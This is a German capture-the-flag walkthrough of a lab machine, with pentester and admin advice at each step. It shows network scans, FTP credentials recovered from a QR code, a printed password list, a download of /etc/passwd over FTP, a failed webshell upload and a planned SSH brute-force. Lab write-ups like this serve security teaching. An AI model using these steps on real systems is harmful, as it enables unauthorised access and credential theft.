Analyse: Der erste Schritt in der Reconnaissance-Phase ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment. Das Tool `arp-scan` sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netz und listet die Geräte auf, die antworten, zusammen mit ihrer MAC-Adresse und dem Hersteller (falls bekannt).
Bewertung: Dieser Befehl ist essenziell, um schnell das Zielsystem im lokalen Netzwerk zu finden, ohne einen vollständigen IP-Range-Scan durchführen zu müssen. Die Ausgabe bestätigt die Präsenz eines Hosts mit der IP-Adresse 192.168.2.123 und der MAC-Adresse 08:00:27:84:7c:47, die zu "PCS Systemtechnik GmbH" (oft assoziiert mit VirtualBox) gehört. Dies ist unser Ziel.
Empfehlung (Pentester): Notieren der Ziel-IP für weitere Scans. Die MAC-Adresse kann Hinweise auf die Virtualisierungsumgebung geben.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Schutzmaßnahmen können die Effektivität von ARP-Scans einschränken. Überwachung auf ungewöhnliche ARP-Aktivitäten.
192.168.2.123 08:00:27:84:7c:47 PCS Systemtechnik GmbH
Analyse: `nikto` ist ein Webserver-Scanner, der auf bekannte Schwachstellen, Fehlkonfigurationen, Standarddateien und veraltete Softwareversionen prüft. Der Parameter `-h` gibt das Ziel (Hostname oder IP) an.
Bewertung: Nikto identifiziert mehrere potenzielle Sicherheitsprobleme auf dem Webserver (Port 80) unter 192.168.2.123:
Empfehlung (Pentester): Die gefundenen Punkte weiter untersuchen: Fehlende Header ausnutzen, nach Exploits für Apache 2.4.38 suchen, die Standarddatei genauer ansehen. Die erlaubten Methoden prüfen, insbesondere ob `PUT` oder `DELETE` unsicher konfiguriert sind.
Empfehlung (Admin): Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`, etc.) implementieren. ETag-Konfiguration prüfen (z.B. `FileETag None`). Apache auf die neueste stabile Version aktualisieren und nicht benötigte Standarddateien sowie Verzeichnisse entfernen. Unnötige HTTP-Methoden deaktivieren.
- Nikto v2.5.0 + Target IP: 192.168.2.123 + Target Hostname: 192.168.2.123 + Target Port: 80 + Start Time: 2023-07-01 01:44:22 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 17f, size: 5bf265b88ecc3, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-07-01 01:44:36 (GMT2) (14 seconds) + 1 host(s) tested
Analyse: Dieser `nmap`-Befehl führt einen schnellen Portscan durch (`-sS` für SYN-Scan, `-T5` für höchste Geschwindigkeit), versucht Standard-Skripte (`-sC`) und Versionserkennung (`-sV`) auf allen Ports (`-p-`) und führt eine aggressive Betriebssystem- und Serviceerkennung durch (`-A`). Der `| grep open` filtert die Ausgabe, um nur die offenen Ports anzuzeigen.
Bewertung: Der Scan identifiziert schnell die primären offenen TCP-Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 7.9p1) und 80 (HTTP - Apache 2.4.38). Dies bestätigt die von Nikto untersuchte Webserver-Präsenz und fügt FTP und SSH als weitere potenzielle Angriffsvektoren hinzu. Die spezifischen Versionen sind wichtig für die Suche nach bekannten Exploits.
Empfehlung (Pentester): Die identifizierten Dienste (FTP, SSH, HTTP) nun gezielt untersuchen. Nach Exploits für `vsftpd 3.0.3`, `OpenSSH 7.9p1` und `Apache 2.4.38` suchen. Anonymen FTP-Zugang testen. SSH auf schwache Anmeldedaten prüfen. Die Webanwendung auf Port 80 weiter enumerieren.
Empfehlung (Admin): Nicht benötigte Dienste deaktivieren. Sicherstellen, dass alle laufenden Dienste auf dem neuesten Stand sind und sicher konfiguriert wurden (z.B. kein anonymer FTP-Zugang, wenn nicht erforderlich; SSH nur mit Schlüsselauthentifizierung erlauben).
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Dies ist ein detaillierterer `nmap`-Scan derselben Maschine, diesmal ohne `-T5` (was zu genaueren Ergebnissen führen kann, aber länger dauert) und ohne `grep`, um die vollständige Ausgabe zu sehen. Er verwendet `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung) und `-A` (Aggressive Erkennung inkl. OS-Detection, Version Detection, Script Scanning und Traceroute) auf allen TCP-Ports (`-p-`).
Bewertung: Dieser Scan bestätigt die offenen Ports (21, 22, 80) und die Dienstversionen. Zusätzlich liefert er:
Empfehlung (Pentester): Die gewonnenen Informationen (Versionen, OS) für die Suche nach spezifischen Schwachstellen nutzen. Den HTTP-Titel und den Hostnamen `bob.vln` (aus dem Scan Report) notieren, falls relevant. Die SSH-Keys könnten für Man-in-the-Middle-Szenarien relevant sein, sind hier aber primär zur Identifikation nützlich.
Empfehlung (Admin): Die von Nmap bereitgestellten Informationen (insbesondere Dienstversionen und OS-Details) können Angreifern helfen. Maßnahmen zur Reduzierung des Informations-Footprints ergreifen (z.B. Server-Banner anpassen, Firewall-Regeln zur Einschränkung von Scans). Sicherstellen, dass das Betriebssystem und alle Dienste gepatcht sind.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-01 01:44 CEST Nmap scan report for bob.vln (192.168.2.123) Host is up (0.00019s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 2c:e2:63:78:bc:55:fe:f3:cb:09:a9:d8:26:2f:cb:d5 (RSA) | 256 c4:c8:6b:48:92:25:a5:f7:00:9f:ab:b2:56:d5:ed:dc (ECDSA) |_ 256 a9:5b:39:a1:6e:05:91:0f:75:3c:88:0b:55:7c:a8:c2 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: BlueMoon:2021 |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:84:7C:47 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.19 ms bob.vln (192.168.2.123) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds
Analyse: Zugriff auf die Hauptseite des Webservers über einen Browser oder ein Tool wie `curl`. Die Ausgabe zeigt den Text der Startseite.
Bewertung: Die Startseite `index.html` enthält eine einfache Willkommensnachricht ("-- Welcome --", "Are You Ready To Play With Me .....!", "Target"). Sie liefert keine direkten Schwachstellen, bestätigt aber, dass der Webserver aktiv ist und Inhalte ausliefert. Der Text könnte ein Hinweis auf den spielerischen Charakter der (vermutlich) CTF-Box sein.
Empfehlung (Pentester): Den Quellcode der Seite untersuchen (`view-source:`), nach versteckten Kommentaren, Links oder eingebetteten Skripten suchen. Tools wie `gobuster` oder `dirb` verwenden, um weitere Verzeichnisse und Dateien zu finden.
Empfehlung (Admin): Sicherstellen, dass Webseiten keine unnötigen Informationen oder Hinweise preisgeben, die einem Angreifer helfen könnten. Quellcode regelmäßig auf sensible Daten prüfen.
http://192.168.2.123/index.html " -- Welcome -- " Are You Ready To Play With Me .....! Target
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu entdecken (Brute-Force).
Bewertung: Gobuster findet neben der bekannten `index.html` ein weiteres interessantes Verzeichnis oder eine Datei namens `/hidden_text` (Status Code 200 OK). Dies ist ein vielversprechender Fund, da der Name auf versteckte Informationen hindeutet.
Empfehlung (Pentester): Die gefundene Ressource `http://192.168.2.123/hidden_text` im Browser aufrufen und analysieren. Eventuell andere Wordlists oder Erweiterungen mit `gobuster` testen, um sicherzustellen, dass nichts übersehen wurde.
Empfehlung (Admin): Verzeichnisse und Dateien mit sensiblen Informationen sollten nicht durch leicht zu erratende Namen zugänglich sein. Zugriffskontrollen (Authentifizierung, Autorisierung) implementieren und Webserver-Logs auf Brute-Force-Versuche überwachen. Die Verwendung von Standard-Wordlists wie SecLists durch Angreifer berücksichtigen.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.123 [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403,405 [+] User Agent: gobuster/3.1.0 [+] Extensions: aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb [+] Expanded: true [+] Timeout: 10s [+] Exclude Status Codes: 403,404 [+] No error: true =============================================================== 2023/07/01 01:50:11 Starting gobuster =============================================================== http://192.168.2.123/index.html (Status: 200) [Size: 383] http://192.168.2.123/hidden_text (Status: 200) [Size: 1169] =============================================================== 2023/07/01 01:55:23 Finished ===============================================================
Analyse: Versuch, sich über den Kommandozeilen-FTP-Client mit dem Server zu verbinden. Standardmäßig wird versucht, sich als Benutzer `anonymous` anzumelden.
Bewertung: Der Server antwortet mit "220 (vsFTPd 3.0.3)", was die Nmap-Ergebnisse bestätigt. Der anonyme Login schlägt jedoch fehl ("530 Permission denied."). Das bedeutet, dass der FTP-Server zwar läuft, aber keine anonymen Verbindungen zulässt.
Empfehlung (Pentester): Nach gültigen FTP-Benutzerdaten suchen. Diese könnten in Webseiten-Kommentaren, Konfigurationsdateien oder durch andere Enumerationstechniken gefunden werden. Brute-Force-Angriffe auf den FTP-Login könnten ebenfalls versucht werden, falls Benutzernamen bekannt sind oder erraten werden können.
Empfehlung (Admin): Anonymen FTP-Zugang deaktivieren, es sei denn, er ist explizit erforderlich. Starke Passwörter für alle FTP-Benutzer erzwingen und Intrusion-Detection-Systeme (IDS) zur Erkennung von Brute-Force-Angriffen auf den FTP-Dienst einsetzen.
Connected to 192.168.2.123. 220 (vsFTPd 3.0.3) Name (192.168.2.123:root): anonymous 530 Permission denied. Login failed. ftp>
Analyse: Diese Zeilen deuten auf die Untersuchung einer Ressource hin, die offenbar einen QR-Code enthält. Die erste Zeile ist eine URL zu einem Online-QR-Code-Erkennungstool. Die zweite Zeile zeigt den Versuch, den Quellcode (in diesem Fall das Bild selbst) einer PNG-Datei namens `.QR_C0d3.png` im Stammverzeichnis des Webservers anzuzeigen. Der Dateiname mit dem Punkt am Anfang deutet darauf hin, dass es sich um eine versteckte Datei handelt (unter Linux/Unix). Die Pfeile `<--<<- Qr Code` sind ein Kommentar des Pentesters.
Bewertung: Der Pentester hat vermutlich auf der Webseite oder im Verzeichnis `/hidden_text` einen Hinweis auf diesen QR-Code gefunden oder ihn durch weitere Enumeration entdeckt. Das Bild `.QR_C0d3.png` enthält wahrscheinlich wichtige Informationen, die mit einem QR-Code-Scanner extrahiert werden müssen. Der Dateiname selbst ist leicht obfuskiert ("C0d3" statt "Code").
Empfehlung (Pentester): Den QR-Code herunterladen (z.B. mit `wget http://192.168.2.123/.QR_C0d3.png`) und mit einem lokalen oder Online-QR-Code-Scanner lesen. Der Inhalt könnte Zugangsdaten, URLs oder andere Hinweise enthalten.
Empfehlung (Admin): Sensible Informationen sollten nicht in leicht zugänglichen Formaten wie QR-Codes auf dem Webserver gespeichert werden, insbesondere nicht in versteckten, aber erratbaren Dateinamen. Zugriffskontrolle und Verschlüsselung verwenden.
https://products.aspose.app/barcode/de/recognize/qr#/recognized view-source:http://192.168.2.123/.QR_C0d3.png <--<<- Qr Code
Analyse: Dies ist der Inhalt, der vermutlich aus dem Scannen des QR-Codes (`.QR_C0d3.png`) extrahiert wurde. Es handelt sich um ein einfaches Bash-Skript, das Variablen für Host (`HST`), Benutzer (`USER`) und Passwort (`PASSWRD`) setzt und dann versucht, eine FTP-Verbindung mit diesen Daten herzustellen. Die Kommentare `#!/bin/bash` und `EF` (vermutlich End of File oder ähnliches) rahmen das Skript ein.
Bewertung: Der QR-Code enthielt die Zugangsdaten für den FTP-Server!
Empfehlung (Pentester): Die extrahierten Zugangsdaten (`userftp` / `ftpp@ssword`) verwenden, um sich am FTP-Server (Port 21) anzumelden und dessen Inhalt zu untersuchen.
Empfehlung (Admin): Niemals Zugangsdaten, auch nicht für weniger privilegierte Konten, in unverschlüsselter Form oder leicht zugänglichen Formaten wie QR-Codes auf einem Webserver speichern. Starke, einzigartige Passwörter verwenden und Zugangsdaten sicher verwalten (z.B. in einem Passwort-Manager oder Secrets-Management-System).
#!/bin/bash HST=ip USER=userftp PASSWRD=ftpp@ssword ftp -inv $HST user $USER $PASSWRD bye EF
Analyse: Erneuter Versuch, sich mit dem FTP-Server zu verbinden, diesmal unter Verwendung der aus dem QR-Code gewonnenen Zugangsdaten: Benutzer `userftp` und das dazugehörige Passwort.
Bewertung: Der Login ist erfolgreich ("230 Login successful."). Der Pentester hat nun Zugriff auf das Dateisystem über FTP mit den Rechten des Benutzers `userftp`. Das Remote-System wird als UNIX identifiziert, und der Übertragungsmodus ist standardmäßig binär. Dies markiert den erfolgreichen initialen Zugriff auf das System.
Empfehlung (Pentester): Das Dateisystem über FTP gründlich untersuchen. Mit Befehlen wie `ls -la`, `cd`, `get` nach interessanten Dateien (Konfigurationen, Skripte, Benutzerdaten, Flags) suchen. Prüfen, welche Verzeichnisse lesbar und beschreibbar sind.
Empfehlung (Admin): Die Berechtigungen des FTP-Benutzers `userftp` überprüfen und auf das absolute Minimum beschränken (Least Privilege Principle). Überwachen der FTP-Aktivitäten auf verdächtige Downloads oder Upload-Versuche.
Connected to 192.168.2.123.
220 (vsFTPd 3.0.3)
Name (192.168.2.123:root): userftp
331 Please specify the password.
Password: ftpp@ssword
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Analyse: Der Befehl `ls -la` wird im FTP-Client ausgeführt, um den Inhalt des aktuellen Verzeichnisses (das Home-Verzeichnis des `userftp`) detailliert aufzulisten, einschließlich versteckter Dateien und Berechtigungen.
Bewertung: Zwei Dateien werden gefunden: `information.txt` und `p_lists.txt`. Beide gehören dem Benutzer und der Gruppe `0` (root), sind aber für alle lesbar (`-rw-r--r--`). Diese Dateien sind potenzielle Quellen für weitere Informationen oder Zugangsdaten.
Empfehlung (Pentester): Beide Dateien mit dem `get`-Befehl herunterladen und ihren Inhalt analysieren.
Empfehlung (Admin): Überprüfen, warum diese Dateien im Home-Verzeichnis des FTP-Benutzers liegen und warum sie `root` gehören. Dateien sollten dem Benutzer gehören, der sie erstellt hat, es sei denn, es gibt einen spezifischen Grund. Sensible Informationen sollten nicht in Klartextdateien gespeichert werden.
ftp> ls -la 229 Entering Extended Passive Mode (|||20773|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Mar 08 2021 . drwxr-xr-x 3 1001 1001 4096 Mar 08 2021 .. -rw-r--r-- 1 0 0 147 Mar 08 2021 information.txt -rw-r--r-- 1 0 0 363 Mar 08 2021 p_lists.txt 226 Directory send OK.
Analyse: Der Befehl `get p_lists.txt` wird verwendet, um die Datei `p_lists.txt` vom FTP-Server auf das lokale System des Pentesters herunterzuladen.
Bewertung: Der Download ist erfolgreich. Die Datei ist klein (363 Bytes). Der Name `p_lists.txt` deutet stark auf eine Passwortliste hin.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `p_lists.txt` untersuchen. Vermutlich enthält sie Passwörter, die für Brute-Force-Angriffe gegen andere Dienste (z.B. SSH) oder Benutzer verwendet werden können.
Empfehlung (Admin): Passwortlisten oder sensible Daten sollten niemals über unverschlüsselte Protokolle wie FTP zugänglich sein. Speicherorte solcher Dateien überprüfen und sichern.
ftp> get p_lists.txt local: p_lists.txt remote: p_lists.txt 229 Entering Extended Passive Mode (|||32367|) 150 Opening BINARY mode data connection for p_lists.txt (363 bytes). 100% |***********************************| 363 10.98 MiB/s 00:00 ETA 226 Transfer complete. 363 bytes received in 00:00 (609.09 KiB/s)
Analyse: Der Befehl `get information.txt` wird verwendet, um die Datei `information.txt` vom FTP-Server herunterzuladen.
Bewertung: Der Download ist erfolgreich. Die Datei ist noch kleiner (147 Bytes). Der Name deutet auf informative Inhalte hin, möglicherweise Hinweise oder Konfigurationsdetails.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `information.txt` analysieren. Sie könnte Benutzernamen, Systeminformationen oder andere Hinweise enthalten.
Empfehlung (Admin): Überprüfen, welche Informationen in `information.txt` gespeichert sind und ob diese für einen Angreifer nützlich sein könnten. Sensible Informationen sicher speichern.
ftp> get information.txt local: information.txt remote: information.txt 229 Entering Extended Passive Mode (|||29690|) 150 Opening BINARY mode data connection for information.txt (147 bytes). 100% |***********************************| 147 275.00 KiB/s 00:00 ETA 226 Transfer complete. 147 bytes received in 00:00 (192.69 KiB/s)
Analyse: Der Pentester versucht, eine Datei namens `Getshell.php` vom lokalen System auf den FTP-Server hochzuladen (`put`). Dies ist ein typischer Versuch, eine Webshell oder ein anderes bösartiges Skript auf den Server zu bekommen.
Bewertung: Der Upload schlägt fehl ("550 Permission denied."). Der FTP-Benutzer `userftp` hat keine Schreibberechtigungen im aktuellen Verzeichnis (seinem Home-Verzeichnis).
Empfehlung (Pentester): Nach anderen Verzeichnissen suchen, in denen der Benutzer `userftp` möglicherweise Schreibrechte hat (z.B. `/tmp`, `/var/tmp`, oder vielleicht webserverbezogene Verzeichnisse, falls der FTP-Zugang mit dem Webserver-Root zusammenhängt, was hier unwahrscheinlich ist).
Empfehlung (Admin): Sicherstellen, dass FTP-Benutzer nur in den für sie vorgesehenen Verzeichnissen Schreibrechte haben und diese Rechte so restriktiv wie möglich sind. Das Hochladen von ausführbaren Dateien oder Skripten sollte, wenn möglich, verhindert werden.
ftp> put Getshell.php local: Getshell.php remote: Getshell.php 229 Entering Extended Passive Mode (|||39677|) 550 Permission denied.
Analyse: Der Pentester wechselt in das Verzeichnis `/var` auf dem FTP-Server.
Bewertung: Das Wechseln des Verzeichnisses ist erfolgreich ("250 Directory successfully changed."). `/var` ist ein Standard-Linux-Verzeichnis, das variable Daten wie Logs, Caches und temporäre Dateien enthält. Es ist ein interessantes Ziel für die weitere Enumeration.
Empfehlung (Pentester): Den Inhalt von `/var` auflisten (`ls -la`), um Unterverzeichnisse wie `/var/www`, `/var/log`, `/var/tmp` zu finden und deren Berechtigungen zu prüfen.
Empfehlung (Admin): Die Berechtigungen für das `/var`-Verzeichnis und seine Unterverzeichnisse überprüfen, um sicherzustellen, dass Benutzer nicht auf sensible Daten zugreifen oder in unerwartete Orte schreiben können.
ftp> cd /var 250 Directory successfully changed.
Analyse: Der Pentester versucht, den Inhalt des Verzeichnisses `/var` aufzulisten, macht aber einen Tippfehler im Befehl (`ls l-a` statt `ls -la`).
Bewertung: Der FTP-Server scheint den fehlerhaften Befehl zu ignorieren oder kann ihn nicht interpretieren. Es wird eine Erfolgsmeldung ("150 Here comes the directory listing.", "226 Directory send OK.") zurückgegeben, aber keine Dateiliste angezeigt. Dies zeigt, wie wichtig die korrekte Syntax ist.
Empfehlung (Pentester): Den Befehl korrigieren und erneut ausführen (`ls -la`).
Empfehlung (Admin): Keine spezifische Aktion erforderlich, außer der allgemeinen Überwachung von FTP-Befehlen.
ftp> ls l-a 229 Entering Extended Passive Mode (|||51706|) 150 Here comes the directory listing. 226 Directory send OK.
Analyse: Der Pentester führt nun den korrekten Befehl `ls -la` aus, um den Inhalt des `/var`-Verzeichnisses detailliert aufzulisten.
Bewertung: Die Ausgabe zeigt die Standard-Unterverzeichnisse von `/var`, darunter `/var/backups`, `/var/cache`, `/var/lib`, `/var/log`, `/var/mail`, `/var/spool`, `/var/tmp` und `/var/www`. Die meisten gehören `root`. `/var/tmp` hat `wxrwxrwt`-Berechtigungen (Sticky Bit gesetzt), was bedeutet, dass jeder Dateien erstellen, aber nur der Eigentümer seine eigenen Dateien löschen kann. Das Verzeichnis `/var/www` ist ebenfalls interessant, da es typischerweise die Webserver-Dateien enthält.
Empfehlung (Pentester): Die Berechtigungen von `/var/tmp` und `/var/www` genauer prüfen. Versuchen, in `/var/tmp` zu schreiben. Den Inhalt von `/var/www` untersuchen, um zu sehen, ob er mit dem über HTTP erreichbaren Webroot übereinstimmt und ob der `userftp` hier möglicherweise mehr Rechte hat (was unwahrscheinlich ist, da es `root` gehört). Auch `/var/log` auf interessante Logdateien prüfen.
Empfehlung (Admin): Sicherstellen, dass die Berechtigungen in `/var` angemessen sind. Insbesondere Schreibrechte in `/var/tmp` können manchmal missbraucht werden, obwohl das Sticky Bit einen gewissen Schutz bietet. Berechtigungen für `/var/www` sollten dem Webserver-Benutzer (oft `www-data`) gehören und restriktiv sein.
ftp> ls -la 229 Entering Extended Passive Mode (|||63558|) 150 Here comes the directory listing. drwxr-xr-x 12 0 0 4096 Mar 07 2021 . drwxr-xr-x 18 0 0 4096 Mar 07 2021 .. drwxr-xr-x 2 0 0 4096 Jun 30 16:43 backups drwxr-xr-x 8 0 0 4096 Mar 07 2021 cache drwxr-xr-x 23 0 0 4096 Mar 08 2021 lib drwxrwsr-x 2 0 50 4096 Jan 30 2021 local lrwxrwxrwx 1 0 0 9 Mar 07 2021 lock -> /run/lock drwxr-xr-x 6 0 0 4096 Mar 08 2021 log drwxrwsr-x 2 0 8 4096 Mar 07 2021 mail drwxr-xr-x 2 0 0 4096 Mar 07 2021 opt lrwxrwxrwx 1 0 0 4 Mar 07 2021 run -> /run drwxr-xr-x 4 0 0 4096 Mar 07 2021 spool drwxrwxrwt 4 0 0 4096 Jun 30 16:43 tmp drwxr-xr-x 3 0 0 4096 Mar 07 2021 www 226 Directory send OK.
Analyse: Der Pentester analysiert den Inhalt der zuvor heruntergeladenen Datei `p_lists.txt`.
Bewertung: Die Datei enthält eine Liste von potenziellen Passwörtern. Diese reichen von einfachen (p@ssw0rd) bis hin zu leicht komplexeren oder themenbezogenen Wörtern (z.B. Namen, Gaming-Begriffe). Diese Liste ist ideal für Brute-Force-Angriffe auf Login-Mechanismen, insbesondere SSH, da Nmap einen SSH-Dienst auf Port 22 gefunden hat.
Empfehlung (Pentester): Diese Passwortliste (`p_lists.txt`) in Verbindung mit potenziellen Benutzernamen (z.B. aus der `/etc/passwd`-Datei, falls zugänglich, oder gängigen Namen wie `root`, `admin`, `user`) verwenden, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) zu starten. Tools wie `hydra` oder `medusa` sind dafür geeignet.
Empfehlung (Admin): Die Verwendung schwacher oder leicht zu erratender Passwörter vermeiden. Passwortrichtlinien durchsetzen (Mindestlänge, Komplexität). Brute-Force-Schutzmechanismen implementieren (z.B. `fail2ban`) und Login-Versuche überwachen.
h4ck3rp455wd 4dm1n Pr0h4ck3r 5cr1ptk1dd3 pubgpr0pl4yer H34d5h00t3r p@ssw0rd @@d1dn0tf1nd J4ck_5p4rr0w c4pt10n_jack D0veC4m3r0n f1nnb4l0r r0manr3ing5 s3thr0lin5 Demonk1ng R4ndy0rton Big_sh0w j0hnc3na 5tr0ngp@ssw0rd S4br1n4 4nnlyn C4rp3nt3r K0fiKing5t0n chNAMPIN Herr0lins G0palT0p3r Log3shDriv3r k4rv3ndh4nh4ck3r P0nmuGunth0n Shank3rD3v KishorMilkV4n S4th15hR4cer
Analyse: Der Pentester wechselt über FTP in das Verzeichnis `/etc` und lädt die Datei `passwd` herunter.
Bewertung: Das Wechseln nach `/etc` und das Herunterladen von `passwd` sind erfolgreich. Die Datei `/etc/passwd` ist auf den meisten Unix/Linux-Systemen für alle Benutzer lesbar und enthält eine Liste der lokalen Benutzerkonten, deren IDs, Home-Verzeichnisse und Standard-Shells. Dies ist ein sehr wertvoller Fund für die Enumeration.
Empfehlung (Pentester): Die heruntergeladene `passwd`-Datei analysieren, um eine Liste von Benutzernamen zu extrahieren, die auf dem System existieren (insbesondere solche mit einer Login-Shell wie `/bin/bash` oder `/bin/sh`). Diese Benutzernamen können dann zusammen mit der Passwortliste (`p_lists.txt`) für den SSH-Brute-Force-Angriff verwendet werden.
Empfehlung (Admin): Obwohl `/etc/passwd` traditionell lesbar ist, kann das Offenlegen von Benutzernamen Angreifern helfen. In hochsicheren Umgebungen könnten alternative Authentifizierungssysteme oder Maßnahmen zur Verschleierung von Benutzernamen in Betracht gezogen werden (selten praktiziert). Wichtiger ist die Absicherung der Dienste (SSH, etc.) gegen Brute-Force.
ftp> cd /etc 250 Directory successfully changed. ftp> get passwd local: passwd remote: passwd 229 Entering Extended Passive Mode (|||59556|) 150 Opening BINARY mode data connection for passwd (1534 bytes). 100% |***********************************| 1534 66.49 MiB/s 00:00 ETA 226 Transfer complete. 1534 bytes received in 00:00 (6.19 MiB/s) ftp>
Analyse: Der Pentester zeigt den Inhalt der heruntergeladenen `/etc/passwd`-Datei an.
Bewertung: Die Datei listet Systembenutzer (wie `daemon`, `bin`, `www-data`) und reguläre Benutzer auf. Besonders interessant sind Benutzer mit einer Login-Shell:
Empfehlung (Pentester): Die Benutzernamen `robin` und `jerry` zusammen mit der Passwortliste `p_lists.txt` für den SSH-Brute-Force-Angriff mit `hydra` verwenden.
Empfehlung (Admin): Unnötige Benutzerkonten deaktivieren oder löschen. Sicherstellen, dass alle Konten mit Login-Shell starke Passwörter haben oder idealerweise Schlüsselauthentifizierung für SSH verwenden.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin robin:x:1000:1000:robin,,,:/home/robin:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin messagebus:x:104:111::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin userftp:x:1001:1001::/home/userftp:/bin/sh ftp:x:106:113:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin jerry:x:1002:1002::/home/jerry:/bin/bash
Analyse: Der Pentester navigiert über FTP weiter im Dateisystem und wechselt in das Verzeichnis `/home`.
Bewertung: Der Verzeichniswechsel ist erfolgreich. Das `/home`-Verzeichnis enthält die Home-Verzeichnisse der regulären Benutzer.
Empfehlung (Pentester): Den Inhalt von `/home` auflisten (`ls -la`), um die Home-Verzeichnisse der in `/etc/passwd` gefundenen Benutzer (`robin`, `jerry`, `userftp`) zu bestätigen und deren Berechtigungen zu prüfen.
Empfehlung (Admin): Sicherstellen, dass die Berechtigungen der Home-Verzeichnisse korrekt gesetzt sind (normalerweise `drwxr-xr-x` oder restriktiver), sodass Benutzer nicht auf die Verzeichnisse anderer Benutzer zugreifen können, es sei denn, dies ist beabsichtigt.
ftp> cd /home 250 Directory successfully changed.
Analyse: Der Befehl `ls -la` wird ausgeführt, um den Inhalt des `/home`-Verzeichnisses aufzulisten.
Bewertung: Die Ausgabe bestätigt die Existenz der Home-Verzeichnisse für `jerry`, `robin` und `userftp`, wie in `/etc/passwd` erwartet. Alle Verzeichnisse haben Standardberechtigungen (`drwxr-xr-x`), was bedeutet, dass der aktuelle FTP-Benutzer (`userftp`) wahrscheinlich in die Verzeichnisse von `robin` und `jerry` wechseln und deren für alle lesbaren Dateien einsehen kann.
Empfehlung (Pentester): In die Home-Verzeichnisse von `robin` und `jerry` wechseln und nach interessanten Dateien suchen (Konfigurationsdateien, Skripte, Notizen, SSH-Schlüssel, Flags).
Empfehlung (Admin): Die Notwendigkeit prüfen, dass Home-Verzeichnisse für andere Benutzer lesbar sind (`r-x` für `others`). In vielen Fällen können die Berechtigungen auf `drwx------` (700) gesetzt werden, um die Privatsphäre der Benutzer zu erhöhen.
